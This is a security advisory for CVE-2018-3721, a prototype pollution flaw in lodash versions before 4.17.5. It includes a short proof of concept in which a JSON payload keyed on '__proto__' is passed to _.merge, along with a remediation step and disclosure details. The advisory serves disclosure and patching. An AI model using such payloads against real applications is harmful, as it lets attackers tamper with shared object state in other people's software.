Prototype Pollution

Affecting lodash package, versions <4.17.5

low severity

Overview

lodash is a javaScript utility library delivering modularity, performance & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

Snyk patch available for versions:

Do your applications use this vulnerable package?

Credit
Olivier Arteau (HoLyVieR)
CVE
CVE-2018-3721
CWE
CWE-400
Snyk ID
npm:lodash:20180130
Disclosed
30 Jan, 2018
Published
14 Feb, 2018